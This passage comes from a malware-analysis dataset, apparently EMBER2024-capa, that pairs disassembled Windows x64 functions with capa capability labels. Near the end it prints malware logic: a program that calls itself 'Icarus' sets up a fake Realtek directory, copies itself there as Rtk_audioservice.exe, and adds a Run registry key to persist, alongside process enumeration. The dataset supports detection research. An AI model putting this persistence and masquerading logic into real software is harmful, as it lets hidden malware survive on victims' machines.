joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007dc00
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbp, qword [rcx + 0x20]
lea eax, [rdx - 0xc8]
xor edi, edi
movzx esi, r8b
mov rbx, rcx
cmp eax, 0x64
jb 0x14007dc40
lea rdx, str.Couldnt_set_desired_mode
call fcn.1400576b0
lea eax, [rdi + 0x11]
jmp 0x14007dda5
cmp edx, 0xc8
je 0x14007dc57
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200
call fcn.1400577a0
cmp sil, 0x13
jne 0x14007dc6d
mov rdx, rbp
mov rcx, rbx
call fcn.14007db00
jmp 0x14007dda1
cmp sil, 0x14
jne 0x14007dd83
cmp byte [rbx + 0x6f8], 2
mov rbp, qword [rbx + 0x20]
jne 0x14007dceb
mov rax, qword [rbx + 0x1a8]
mov rcx, qword [rax]
test rcx, rcx
je 0x14007dceb
xor r9d, r9d
mov qword [rsp + 0x40], rdi
lea r8, [rsp + 0x40]
mov dword [rsp + 0x20], 3
xor edx, edx
call fcn.1400867d0
test eax, eax
jne 0x14007dda1
mov rcx, qword [rsp + 0x40]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x14007dce0
mov rdi, qword [rsp + 0x40]
mov ecx, 1
sub rax, rdi
cmovne rcx, rax
mov byte [rcx + rdi], 0
jmp 0x14007dceb
mov rcx, qword [rsp + 0x40]
call qword [fcn.1401dfbda]
mov rdx, qword [rbx + 0x750]
test rdx, rdx
jne 0x14007dd10
cmp byte [rbx + 0x137b], 0
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x14043d9a0]
test rdi, rdi
mov r9, r8
lea rax, [0x14044cc54]
cmovne r9, rdi
lea rcx, [0x1401e88bc]
cmovne r8, rax
call fcn.140069970
mov rcx, rdi
mov rsi, rax
call qword [fcn.1401dfbda]
test rsi, rsi
jne 0x14007dd4e
lea edi, [rsi + 0x1b]
jmp 0x14007dda3
lea rdx, [rbp + 0x5d0]
mov r9, rsi
lea r8, [0x1401e7274]
mov rcx, rbx
call fcn.140098fb0
mov rcx, rsi
mov edi, eax
call qword [fcn.1401dfbda]
test edi, edi
jne 0x14007dda3
mov rcx, qword [rbx + 0x20]
mov byte [rcx + 0x6c6], 0x1f
jmp 0x14007dda3
cmp sil, 0x15
jne 0x14007dd8e
mov r8b, reloc.WS2_32.dll_listen
jmp 0x14007dd97
cmp sil, 0x16
jne 0x14007dda3
mov r8b, ntohs
mov dl, 1
mov rcx, rbx
call fcn.14007d660
mov edi, eax
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140085230
Capabilities:
Convert ip address from string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x1405edab8]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, r8
mov rsi, rdx
mov r13, rcx
cmp r8, 4
jb 0x1400853be
inc rsi
lea rdx, str.0123456789abcdefABCDEF:.
mov rcx, rsi
sub rdi, 2
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strspn]
cmp rdi, rax
je 0x140085336
cmp byte [rsi + rax], 0x25
lea r14, [rsi + rax]
mov rdi, rax
jne 0x1400853be
xor ebp, ebp
lea rdx, [0x1401f23f8]
lea rcx, [r14 + 1]
lea rbx, [r14 + 1]
lea r8d, [rbp + 2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x1400852c4
movzx eax, byte [r14 + 3]
lea rcx, [r14 + 3]
test al, al
je 0x1400852c4
cmp al, 0x5d
cmovne rbx, rcx
movzx eax, byte [rbx]
test al, al
je 0x1400853be
mov rcx, rbp
cmp al, 0x5d
je 0x1400852ef
cmp rcx, 0xf
jge 0x1400852ef
inc rbx
mov byte [rsp + rcx + 0x20], al
inc ebp
inc rcx
movzx eax, byte [rbx]
test al, al
jne 0x1400852d2
test ebp, ebp
je 0x1400853be
cmp byte [rbx], 0x5d
jne 0x1400853be
movsxd rax, ebp
cmp rax, 0x10
jae 0x1400853df
lea rcx, [rsp + 0x20]
mov byte [rsp + rax + 0x20], 0
call qword [case.0x140053910.1]
mov qword [r13 + 0x28], rax
test rax, rax
jne 0x140085330
mov eax, 7
jmp 0x1400853c3
mov word [r14], 0x5d
lea r8, [rsp + 0x20]
mov byte [rdi + rsi], 0
mov rdx, rsi
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x1400853be
lea r9d, [rax + 0x2d]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x20]
lea ecx, [rax + 0x16]
call sub.WS2_32.dll_inet_ntop
test rax, rax
je 0x1400853b6
lea rax, [rsp + 0x30]
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp byte [rax + rdx], 0
jne 0x140085380
cmp rdx, rdi
jae 0x1400853b6
lea rax, [rsp + 0x30]
mov r8, rsi
sub r8, rax
lea rcx, [rsp + 0x30]
nop
movzx eax, byte [rcx]
mov byte [r8 + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400853a0
mov rdi, rdx
mov byte [rdx + rsi + 1], al
mov byte [rdi + rsi], 0x5d
xor eax, eax
jmp 0x1400853c3
mov eax, socket
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1401dead0
add rsp, 0x70
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.1401df598
int3
Function at 0x14008cca0
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
mov eax, dword [0x1405f0888]
mov rbx, rcx
mov dword [rsp + 0x50], 0x4020
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x58], 4
test eax, eax
jne 0x14008cd04
lea r9d, [rax + 2]
mov dword [rsp + 0x20], 3
xor r8d, r8d
lea ecx, [rax + 6]
xor edx, edx
call fcn.14008eae0
test al, al
je 0x14008ccf8
mov dword [0x1405f0888], 2
add rsp, 0x30
pop rbx
ret
mov dword [0x1405f0888], 1
jmp 0x14008cd09
cmp eax, 2
je 0x14008cd5b
lea rax, [rsp + 0x58]
mov edx, 0xffff
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r8d, 0x1001
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x14008cd3a
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x48], eax
jg 0x14008cd5b
lea r9, [rsp + 0x50]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x30
pop rbx
ret
Function at 0x14008d960
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x148
mov rax, qword [0x1405edab8]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rax, qword [rcx]
mov rdi, rcx
mov rsi, r9
mov rbp, r8
mov rcx, qword [rax + 0x10]
mov dword [r9], 0
xor r9d, r9d
mov rcx, qword [rcx + 0x98]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
cmp rbx, 0xffffffffffffffff
jne 0x14008da01
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x14008d9c5
mov dword [rsi], 0x51
jmp 0x14008d9fa
mov r8d, 0x100
lea rdx, [rsp + 0x30]
mov ecx, ebx
call fcn.14006b940
mov rcx, qword [rdi + 8]
lea rdx, str.Recv_failure:__s
mov r8, rax
call fcn.1400576b0
mov rax, qword [rdi + 8]
mov dword [rax + 0xd7c], ebx
mov dword [rsi], gethostname
mov rbx, 0xffffffffffffffff
mov edx, dword [rsi]
lea r8, str.nw_in_read_len_zu______d__err_d
mov rcx, qword [rdi + 8]
mov r9, rbp
mov dword [rsp + 0x28], edx
mov rdx, qword [rdi]
mov dword [rsp + 0x20], ebx
call fcn.140057840
mov rax, rbx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1401dead0
add rsp, 0x148
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x14008da40
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x1c0
mov rax, qword [0x1405edab8]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
mov rax, qword [rdx + 0x20]
mov rsi, rdx
mov rbx, qword [rcx + 0x10]
mov rcx, qword [rax + 0x2e8]
test dword [rcx + 0x84], 0x800
jne 0x14008db83
mov rcx, qword [rbx + 0x98]
lea r8, [rsp + 0x20]
xorps xmm0, xmm0
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x14008db11
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0xb0]
mov ecx, eax
mov ebx, eax
call fcn.14006b940
mov r9, rax
lea rdx, str.getsockname___failed_with_errno__d:__s
mov r8d, ebx
mov rcx, rsi
call fcn.1400576b0
mov eax, 2
jmp 0x14008db85
mov edx, dword [rsp + 0x20]
lea r9, [rbx + 0x144]
lea r8, [rbx + 0x114]
lea rcx, [rsp + 0x30]
call fcn.140058a60
test al, al
jne 0x14008db83
mov qword [rsp + 0x1e0], rdi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ebx, dword [rax]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov r8d, 0x100
lea rdx, [rsp + 0xb0]
mov ecx, ebx
mov rdi, rax
call fcn.14006b940
mov r8d, dword [rdi]
lea rdx, str.ssloc_inet_ntop___failed_with_errno__d:__s
mov r9, rax
mov rcx, rsi
call fcn.1400576b0
mov rdi, qword [rsp + 0x1e0]
mov eax, 2
jmp 0x14008db85
xor eax, eax
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.1401dead0
mov rbx, qword [rsp + 0x1e8]
add rsp, 0x1c0
pop rsi
ret
Function at 0x14009c060
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r15
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbp, rcx
mov ecx, dword [rcx + 0x20]
mov rsi, rdx
add rcx, 0x18
mov r15d, r8d
lea r9d, [rax + rax]
add rcx, r9
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x14009c0a3
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop rsi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov eax, dword [rbp + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rdi
mov qword [rbx + 0x10], rax
lea rdi, [rbp + 8]
mov qword [rsp + 0x50], r14
cmp r15d, dword [rbp + 0x1c]
jbe 0x14009c0f0
call qword [rbp]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, rsi
call qword [rdi]
mov esi, dword [rbp + 0x18]
add rsi, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, rsi
call qword [rbp + reloc.WS2_32.dll_recv]
mov r15d, dword [rbp + 0x20]
mov rcx, qword [rbx + 8]
call qword [rbp]
mov rcx, qword [rbx + 0x10]
call qword [rbp]
xor r14d, r14d
test r15, r15
je 0x14009c152
mov r14, r15
nop dword [rax]
movzx eax, byte [rsi]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rbx + 8]
call qword [rdi]
movzx eax, byte [rsi]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea rsi, [rsi + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [rdi]
sub r15, 1
jne 0x14009c110
lea rdi, [rbp + 8]
mov eax, dword [rbp + 0x1c]
cmp r14, rax
jae 0x14009c191
nop word [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x1401f6221]
mov r8d, 1
call qword [rdi]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x1401f6222]
mov r8d, 1
call qword [rdi]
mov eax, dword [rbp + 0x1c]
inc r14
cmp r14, rax
jb 0x14009c160
mov r14, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rsi
pop rbp
ret
Function at 0x14009c380
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1405edab8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, r8
mov dword [rsp + 0x20], 0xf0000040
mov rsi, rdx
mov rdi, rcx
xor r8d, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
mov r9d, 0x18
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x14009c3cc
mov eax, 0x1b
jmp 0x14009c49e
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x14009c410
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov qword [rsp + 0x38], 0
jmp 0x14009c49e
mov rcx, rbp
call fcn.140012470
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, eax
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
lea edx, [r8 + 2]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [rsp + 0x30], 0x20
jne 0x14009c47a
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8, rdi
mov dword [rsp + 0x20], 0
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14009c48a
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14009c49c
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401dead0
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret

Function at 0x14009d260
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x14009d2c5
nop dword [rax + rax]
movzx r8d, byte [r10]
lea r10, [r10 + 1]
movzx eax, r8b
movzx r9d, r8b
shr r9b, 1
and al, 0xfe
not r9b
movzx eax, al
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
or r8b, 1
test r9b, 2
movzx ecx, r8b
cmove ecx, eax
mov byte [r10 - 1], cl
sub rdx, 1
jne 0x14009d270
ret
Function at 0x1400eda80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov byte [rsp + 0x18], r8b
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
sub rsp, 0x48
movsx eax, byte [rsp + 0x58]
and eax, 1
mov dword [rsp + 0x34], eax
movsx eax, byte [rsp + 0x60]
mov ecx, eax
call fcn.1400ed4d0
mov dword [rsp + 0x30], eax
movzx eax, byte [rsp + 0x58]
and eax, 0xf
mov byte [rsp + 0x20], al
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x24], eax
jmp 0x1400edad0
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 3
ja 0x1400edb53
movsx eax, byte [rsp + 0x60]
mov ecx, dword [rsp + 0x24]
sar eax, cl
and eax, 1
cmp eax, dword [rsp + 0x34]
jne 0x1400edaf5
mov dword [rsp + 0x28], 1
jmp 0x1400edafd
mov dword [rsp + 0x28], 0
cmp dword [rsp + 0x28], 0
jne 0x1400edb0e
mov dword [rsp + 0x2c], 0
jmp 0x1400edb16
mov dword [rsp + 0x2c], 1
movzx eax, byte [rsp + 0x2c]
mov byte [rsp + 0x21], al
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x1400edb39
movzx edx, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
call fcn.1400ed910
jmp 0x1400edb4e
movzx eax, byte [rsp + 0x20]
xor eax, 1
movzx edx, al
mov rcx, qword [rsp + 0x50]
call fcn.1400ed910
jmp 0x1400edac6
movzx edx, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
call fcn.1400ed910
add rsp, 0x48
ret
Function at 0x1401df920
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401df96a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401df96a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401df96a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401df96a
cmp dword [rcx + 0x84], 0xe
jbe 0x1401df96a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401df96c
xor al, al
add rsp, 0x28
ret
Function at 0x1400279f4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140027a3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140027a3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140027a3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140027a3e
cmp dword [rcx + 0x84], 0xe
jbe 0x140027a3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140027a40
xor al, al
add rsp, 0x28
ret

Function at 0x14002b970
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002b7db
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002b7db
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002b7db
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002b7db
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002b7db
cmp dword [rcx + 0x84], 0xe
jbe 0x14002b7db
cmp dword [rcx + 0xf8], 0
je 0x14002b7db
mov ecx, ebx
call fcn.14002b88c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14002b668
nop
cmp dword [rbp + 0x20], 0
je 0x14002b829
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002b834
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002b76c
Function at 0x14003c4e8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14003c56f
mov rsi, rbx
cmp word [rax], bp
je 0x14003c52e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14003c518
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14003c514
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140039b08
mov rdi, rax
test rax, rax
je 0x14003c55c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140042e10
mov rbp, rdi
xor ecx, ecx
call fcn.140037ed8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400400e4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400400fa
mov al, 1
jmp 0x14004015a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14004010b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140040158
mov ecx, dword [rcx + 0x18]
nop
call fcn.14003cc8c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140040158
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140040158
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140040158
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14004015a
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400426c0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400426e8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400426e8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001130
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1278
call fcn.140003020
sub rsp, rax
mov qword [rsp + 0x1268], rcx
lea rcx, [rsp + 0x260]
mov edx, 0x1000
lea r8, [rsp + 0x25c]
call sub.KERNEL32.dll_K32EnumProcesses
cmp eax, 0
jne 0x140001184
lea rcx, str.____EnumProcesses_function_failed_n
call fcn.140001db0
mov dword [rsp + 0x1274], 1
jmp 0x14000133b
mov eax, dword [rsp + 0x25c]
shr rax, 2
mov dword [rsp + 0x258], eax
mov dword [rsp + 0x254], 0
mov eax, dword [rsp + 0x254]
cmp eax, dword [rsp + 0x258]
jae 0x140001324
mov eax, dword [rsp + 0x254]
mov r8d, dword [rsp + rax*4 + 0x260]
mov ecx, 0x410
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x248], rax
cmp qword [rsp + 0x248], 0
je 0x140001309
mov rcx, qword [rsp + 0x248]
lea rdx, [rsp + 0x240]
mov r8d, 8
lea r9, [rsp + 0x23c]
call sub.KERNEL32.dll_K32EnumProcessModules
cmp eax, 0
je 0x1400012fb
lea r8, [rsp + 0x130]
mov rdx, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x248]
mov r9d, 0x104
call sub.KERNEL32.dll_K32GetModuleBaseNameA
cmp eax, 0
je 0x1400012f6
lea r8, [rsp + 0x20]
mov rcx, qword [rsp + 0x248]
xor edx, edx
lea r9, [rsp + 0x23c]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
cmp eax, 0
je 0x1400012f1
mov rdx, qword [rsp + 0x1268]
lea rcx, [rsp + 0x130]
call fcn.140001080
cmp rax, 0
jne 0x1400012a1
mov rdx, qword [rsp + 0x1268]
lea rcx, [rsp + 0x20]
call fcn.140001080
cmp rax, 0
je 0x1400012ec
mov eax, dword [rsp + 0x254]
mov r8d, dword [rsp + rax*4 + 0x260]
lea rdx, [rsp + 0x130]
lea rcx, str.___Process_found:__s__PID:__d__n_n
call fcn.140001db0
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x254]
mov eax, dword [rsp + rax*4 + 0x260]
mov dword [rsp + 0x1274], eax
jmp 0x14000133b
jmp 0x1400012f1
jmp 0x1400012f6
jmp 0x1400012fb
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000130e
mov eax, dword [rsp + 0x254]
add eax, 1
mov dword [rsp + 0x254], eax
jmp 0x1400011a1
lea rcx, str.____Process_not_found_n
call fcn.140001db0
mov dword [rsp + 0x1274], 0
mov eax, dword [rsp + 0x1274]
add rsp, 0x1278
ret
Function at 0x140001910
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x38], rcx
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea r8, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
cmp eax, 0
je 0x140001954
lea rcx, str.____Error_during_creation_of_a_key_in_the_Windows_Registry._n_n
call fcn.140001db0
mov dword [rsp + 0x44], 1
jmp 0x1400019d6
mov rcx, qword [rsp + 0x38]
call fcn.1400070a0
add eax, 1
mov r10, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
lea rdx, str.Rtk_audioservice
xor r8d, r8d
mov r9d, 1
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x28], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp eax, 0
je 0x1400019b7
lea rcx, str.____Error_during_the_settings_of_a_key_in_the_Windows_Registry._n_n
call fcn.140001db0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x44], 1
jmp 0x1400019d6
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.___EXE_added_to_Startup_n_n
call fcn.140001db0
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x44]
add rsp, 0x48
ret
Function at 0x1400019e0
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes
Query environment variable

Disassembly:
sub rsp, 0x588
call fcn.140007360
mov rax, qword [rax]
mov rdx, qword [rax]
lea rcx, [rsp + 0x470]
mov r8d, 0x104
call fcn.140007c4c
cmp rax, 0
je 0x140001a23
lea rdx, [rsp + 0x470]
lea rcx, str._i__Obtained_path_to_current_file:__s_n_n
call fcn.140001db0
mov ecx, 0x20a
call fcn.140003070
mov qword [rsp + 0x468], rax
lea r9, [rsp + 0x470]
mov rdx, qword [rsp + 0x468]
lea rcx, [rsp + 0x580]
mov r8d, 0x105
mov qword [rsp + 0x20], 0x104
call fcn.1400080fc
lea rdx, [rsp + 0x360]
lea rcx, str.USERPROFILE
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r9, [rsp + 0x360]
lea rcx, [rsp + 0x250]
lea r8, str._sAppDataRoamingRealtekRtk_audioservice.exe
mov edx, 0x104
call fcn.140001f40
lea rdx, [rsp + 0x250]
lea rcx, str._i__Icarus_will_be_moved_to_this_path:__s_n_n
call fcn.140001db0
mov ecx, 0x20a
call fcn.140003070
mov qword [rsp + 0x248], rax
lea r9, [rsp + 0x250]
mov rdx, qword [rsp + 0x248]
lea rcx, [rsp + 0x580]
mov r8d, 0x105
mov qword [rsp + 0x20], 0x104
call fcn.1400080fc
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001c31
lea rcx, str._i__The_Icarus_file_do_not_already_exist__starting_procedure_to_creation_of_the_fake_Realtek_environment_n
call fcn.140001db0
lea r9, [rsp + 0x360]
lea rcx, [rsp + 0x140]
lea r8, str._sAppDataRoamingRealtek
mov edx, 0x104
call fcn.140001f40
mov ecx, 0x20a
call fcn.140003070
mov qword [rsp + 0x138], rax
lea r9, [rsp + 0x140]
mov rdx, qword [rsp + 0x138]
lea rcx, [rsp + 0x580]
mov r8d, 0x105
mov qword [rsp + 0x20], 0x104
call fcn.1400080fc
mov rcx, qword [rsp + 0x138]
xor eax, eax
mov edx, eax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, str.___Realtek_directory_created_n
call fcn.140001db0
mov rdx, qword [rsp + 0x248]
mov rcx, qword [rsp + 0x468]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 0
je 0x140001bc2
